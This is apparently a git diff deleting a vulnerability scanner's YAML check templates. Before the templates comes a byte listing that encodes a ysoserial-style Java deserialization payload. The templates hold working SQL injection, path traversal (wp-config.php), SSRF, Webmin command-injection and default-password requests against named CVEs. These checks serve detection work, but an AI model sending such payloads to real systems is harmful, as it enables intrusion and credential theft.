-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 46
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 32
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- 98
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 0
-
-
- 24
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 25
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 27
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 73
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 42
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- 98
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 28
-
-
- 0
-
-
- 29
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 30
-
-
- 0
-
-
- 31
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 25
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 41
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 60
-
-
- -89
-
-
- 0
-
-
- 3
-
-
- 1
-
-
- 76
-
-
- -69
-
-
- 0
-
-
- 43
-
-
- 89
-
-
- -69
-
-
- 0
-
-
- 45
-
-
- 89
-
-
- -73
-
-
- 0
-
-
- 46
-
-
- -72
-
-
- 0
-
-
- 52
-
-
- -74
-
-
- 0
-
-
- 56
-
-
- 18
-
-
- 58
-
-
- -74
-
-
- 0
-
-
- 64
-
-
- -74
-
-
- 0
-
-
- 70
-
-
- -74
-
-
- 0
-
-
- 74
-
-
- 18
-
-
- 76
-
-
- -74
-
-
- 0
-
-
- 74
-
-
- -74
-
-
- 0
-
-
- 79
-
-
- -73
-
-
- 0
-
-
- 82
-
-
- -69
-
-
- 0
-
-
- 84
-
-
- 89
-
-
- 18
-
-
- 86
-
-
- -73
-
-
- 0
-
-
- 87
-
-
- -74
-
-
- 0
-
-
- 92
-
-
- -74
-
-
- 0
-
-
- 95
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 96
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 3
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 32
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 17
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 35
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 9
-
-
- 117
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -44
-
-
- -54
-
-
- -2
-
-
- -70
-
-
- -66
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 27
-
-
- 10
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 21
-
-
- 7
-
-
- 0
-
-
- 23
-
-
- 7
-
-
- 0
-
-
- 24
-
-
- 7
-
-
- 0
-
-
- 25
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 85
-
-
- 73
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 74
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 116
-
-
- 97
-
-
- 110
-
-
- 116
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 5
-
-
- 113
-
-
- -26
-
-
- 105
-
-
- -18
-
-
- 60
-
-
- 109
-
-
- 71
-
-
- 24
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 60
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 40
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 67
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 97
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 104
-
-
- 105
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 73
-
-
- 110
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 37
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 83
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 46
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 7
-
-
- 0
-
-
- 26
-
-
- 1
-
-
- 0
-
-
- 35
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 70
-
-
- 111
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 79
-
-
- 98
-
-
- 106
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 42
-
-
- -73
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 54
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- 18
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 20
-
-
- 0
-
-
- 17
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 9
-
-
- 112
-
-
- 116
-
-
- 0
-
-
- 4
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 114
-
-
- 112
-
-
- 119
-
-
- 1
-
-
- 0
-
-
- 120
-
-
- 115
-
-
- 125
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 120
-
-
- 114
-
-
- 0
-
-
- 23
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 46
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 46
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 120
-
-
- 121
-
-
- -31
-
-
- 39
-
-
- -38
-
-
- 32
-
-
- -52
-
-
- 16
-
-
- 67
-
-
- -53
-
-
- 2
-
-
- 0
-
-
- 1
-
-
- 76
-
-
- 0
-
-
- 1
-
-
- 104
-
-
- 116
-
-
- 0
-
-
- 37
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 118
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 50
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 46
-
-
- 114
-
-
- 101
-
-
- 102
-
-
- 108
-
-
- 101
-
-
- 99
-
-
- 116
-
-
- 46
-
-
- 97
-
-
- 110
-
-
- 110
-
-
- 111
-
-
- 116
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 46
-
-
- 65
-
-
- 110
-
-
- 110
-
-
- 111
-
-
- 116
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 73
-
-
- 110
-
-
- 118
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 85
-
-
- -54
-
-
- -11
-
-
- 15
-
-
- 21
-
-
- -53
-
-
- 126
-
-
- -91
-
-
- 2
-
-
- 0
-
-
- 2
-
-
- 76
-
-
- 0
-
-
- 12
-
-
- 109
-
-
- 101
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 121
-
-
- 112
-
-
- 101
-
-
- 116
-
-
- 0
-
-
- 17
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 5
-
-
- 7
-
-
- -38
-
-
- -63
-
-
- -61
-
-
- 22
-
-
- 96
-
-
- -47
-
-
- 3
-
-
- 0
-
-
- 2
-
-
- 70
-
-
- 0
-
-
- 10
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 70
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 73
-
-
- 0
-
-
- 9
-
-
- 116
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 115
-
-
- 104
-
-
- 111
-
-
- 108
-
-
- 100
-
-
- 120
-
-
- 112
-
-
- 63
-
-
- 64
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 119
-
-
- 8
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 16
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 116
-
-
- 0
-
-
- 8
-
-
- 102
-
-
- 53
-
-
- 97
-
-
- 53
-
-
- 97
-
-
- 54
-
-
- 48
-
-
- 56
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 8
-
-
- 120
-
-
- 118
-
-
- 114
-
-
- 0
-
-
- 29
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 120
-
-
-
-
-
-
-
-
-
-
-
- follow_redirects: false
- expression: 'response.status == 202'
- - method: GET
- path: /_async/favicon.ico
- follow_redirects: false
- expression: 'response.status == 200 && response.body.bcontains(b"Vulnerable")'
\ No newline at end of file
diff --git a/WebScan/pocs/weblogic-cve-2020-14750.yml b/WebScan/pocs/weblogic-cve-2020-14750.yml
deleted file mode 100644
index 7129c38..0000000
--- a/WebScan/pocs/weblogic-cve-2020-14750.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-weblogic-cve-2020-14750
-rules:
- - method: GET
- path: /console/images/%252E./console.portal
- follow_redirects: false
- expression: |
- response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
-detail:
- author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
- weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
- links:
- - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
diff --git a/WebScan/pocs/weblogic-ssrf.yml b/WebScan/pocs/weblogic-ssrf.yml
deleted file mode 100644
index 1c84c1c..0000000
--- a/WebScan/pocs/weblogic-ssrf.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-weblogic-ssrf
-rules:
- - method: GET
- path: >-
- /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
- headers:
- Cookie: >-
- publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
- follow_redirects: false
- expression: >-
- response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))
diff --git a/WebScan/pocs/webmin-cve-2019-15107-rce.yml b/WebScan/pocs/webmin-cve-2019-15107-rce.yml
deleted file mode 100644
index 91489f4..0000000
--- a/WebScan/pocs/webmin-cve-2019-15107-rce.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-name: poc-yaml-webmin-cve-2019-15107-rce
-set:
- r1: randomInt(800000000, 1000000000)
- r2: randomInt(800000000, 1000000000)
- url: request.url
-rules:
- - method: POST
- path: /password_change.cgi
- headers:
- Referer: "{{url}}"
- body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
- follow_redirects: false
- expression: >
- response.body.bcontains(bytes(string(r1 + r2)))
-detail:
- author: danta
- description: Webmin 远程命令执行漏洞(CVE-2019-15107)
- links:
- - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107
diff --git a/WebScan/pocs/weiphp-path-traversal.yml b/WebScan/pocs/weiphp-path-traversal.yml
deleted file mode 100644
index ecf718c..0000000
--- a/WebScan/pocs/weiphp-path-traversal.yml
+++ /dev/null
@@ -1,23 +0,0 @@
-name: poc-yaml-weiphp-path-traversal
-rules:
- - method: POST
- path: /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
- body: |
- "1":1
- expression:
- response.status == 200
- - method: GET
- path: /public/index.php/home/file/user_pics
- search: |
- /public/uploads/picture/(?P
.+?)"
- expression:
- response.status == 200
- - method: GET
- path: /public/uploads/picture/{{img}}
- expression:
- response.status == 200 && response.body.bcontains(b"data_auth_key") && response.body.bcontains(b"WeiPHP")
-detail:
- author: sakura404x
- version: Weiphp<=5.0
- links:
- - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
diff --git a/WebScan/pocs/weiphp-sql.yml b/WebScan/pocs/weiphp-sql.yml
deleted file mode 100644
index da2980c..0000000
--- a/WebScan/pocs/weiphp-sql.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-name: poc-yaml-weiphp-sql
-set:
- rand: randomInt(200000000, 210000000)
-rules:
- - method: GET
- path: /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1)--+
- expression:
- response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
-detail:
- author: sakura404x
- version: Weiphp<=5.0
- links:
- - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md
diff --git a/WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml b/WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml
deleted file mode 100644
index 4af3e12..0000000
--- a/WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-name: poc-yaml-wifisky-default-password-cnvd-2021-39012
-rules:
- - method: POST
- path: /login.php?action=login&type=admin
- follow_redirects: false
- body: >-
- username=admin&password=admin
- expression: |
- response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录,为保证设备安全,请立即修改密码\"}")
-detail:
- author: Print1n(http://print1n.top)
- links:
- - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012
\ No newline at end of file
diff --git a/WebScan/pocs/wordpress-cve-2019-19985-infoleak.yml b/WebScan/pocs/wordpress-cve-2019-19985-infoleak.yml
deleted file mode 100644
index 5d75468..0000000
--- a/WebScan/pocs/wordpress-cve-2019-19985-infoleak.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-wordpress-cve-2019-19985-infoleak
-rules:
- - method: GET
- path: "/wp-admin/admin.php?page=download_report&report=users&status=all"
- follow_redirects: false
- expression: >
- response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"]))
-detail:
- author: bufsnake(https://github.com/bufsnake)
- links:
- - https://www.exploit-db.com/exploits/48698
diff --git a/WebScan/pocs/wordpress-ext-adaptive-images-lfi.yml b/WebScan/pocs/wordpress-ext-adaptive-images-lfi.yml
deleted file mode 100644
index a26f05d..0000000
--- a/WebScan/pocs/wordpress-ext-adaptive-images-lfi.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-name: poc-yaml-wordpress-ext-adaptive-images-lfi
-rules:
- - method: GET
- path: >-
- /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php
- follow_redirects: false
- expression: >
- response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST")
-detail:
- author: FiveAourThe(https://github.com/FiveAourThe)
- links:
- - https://www.anquanke.com/vul/id/1674598
- - https://github.com/security-kma/EXPLOITING-CVE-2019-14205
diff --git a/WebScan/pocs/wordpress-ext-mailpress-rce.yml b/WebScan/pocs/wordpress-ext-mailpress-rce.yml
deleted file mode 100644
index 523b0f2..0000000
--- a/WebScan/pocs/wordpress-ext-mailpress-rce.yml
+++ /dev/null
@@ -1,23 +0,0 @@
-name: poc-yaml-wordpress-ext-mailpress-rce
-set:
- r: randomInt(800000000, 1000000000)
- r1: randomInt(800000000, 1000000000)
-rules:
- - method: POST
- path: "/wp-content/plugins/mailpress/mp-includes/action.php"
- headers:
- Content-Type: application/x-www-form-urlencoded
- body: |
- action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=&html=&plaintext=&mail_format=standard&autosave=1
- expression: "true"
- search: |
- -
- /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed05") && response.body.bcontains(b"sql_error:MySQL Query Error")
-detail:
- author: leezp
- Affected Version: "wuzhicms-v4.1.0"
- vuln_url: "/api/sms_check.php"
- links:
- - https://github.com/wuzhicms/wuzhicms/issues/184
diff --git a/WebScan/pocs/xdcms-sql.yml b/WebScan/pocs/xdcms-sql.yml
deleted file mode 100644
index 07541c1..0000000
--- a/WebScan/pocs/xdcms-sql.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: poc-yaml-xdcms-sql
-set:
- r1: randomInt(800000000, 1000000000)
- r2: randomInt(800000000, 1000000000)
-rules:
- - method: POST
- path: "/index.php?m=member&f=login_save"
- body: |
- username=dd' or extractvalue(0x0a,concat(0x0a,{{r1}}*{{r2}}))#&password=dd&submit=+%B5%C7+%C2%BC+
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
- author: amos1
- links:
- - https://www.uedbox.com/post/35188/
diff --git a/WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml b/WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml
deleted file mode 100644
index f0cc2a7..0000000
--- a/WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-xiuno-bbs-cvnd-2019-01348-reinstallation
-rules:
- - method: GET
- path: /install/
- headers:
- Accept-Encoding: 'deflate'
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)")))
-detail:
- author: 清风明月(www.secbook.info)
- influence_version: '=< Xiuno BBS 4.0.4'
- links:
- - https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
diff --git a/WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml b/WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml
deleted file mode 100644
index 75d69d7..0000000
--- a/WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: poc-yaml-xunchi-cnvd-2020-23735-file-read
-rules:
- - method: GET
- path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php
- headers:
- Accept-Encoding: 'deflate'
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors")))
-detail:
- author: 清风明月(www.secbook.info)
- influence_version: ' >= V2.3'
- links:
- - http://www.cnxunchi.com
- - https://www.cnvd.org.cn/flaw/show/2025171
diff --git a/WebScan/pocs/yapi-rce.yml b/WebScan/pocs/yapi-rce.yml
deleted file mode 100644
index b427144..0000000
--- a/WebScan/pocs/yapi-rce.yml
+++ /dev/null
@@ -1,84 +0,0 @@
-name: poc-yaml-yapi-rce
-set:
- redemail: randomLowercase(15)
- redpassword: randomLowercase(15)
- redproject: randomLowercase(8)
- redinterface: randomLowercase(10)
- r1: randomLowercase(10)
- r2: randomLowercase(10)
- r3: randomLowercase(10)
- r4: randomLowercase(10)
-rules:
- - method: POST
- path: /api/user/reg
- headers:
- Content-Type: application/json;charset=UTF-8
- follow_redirects: true
- body: |
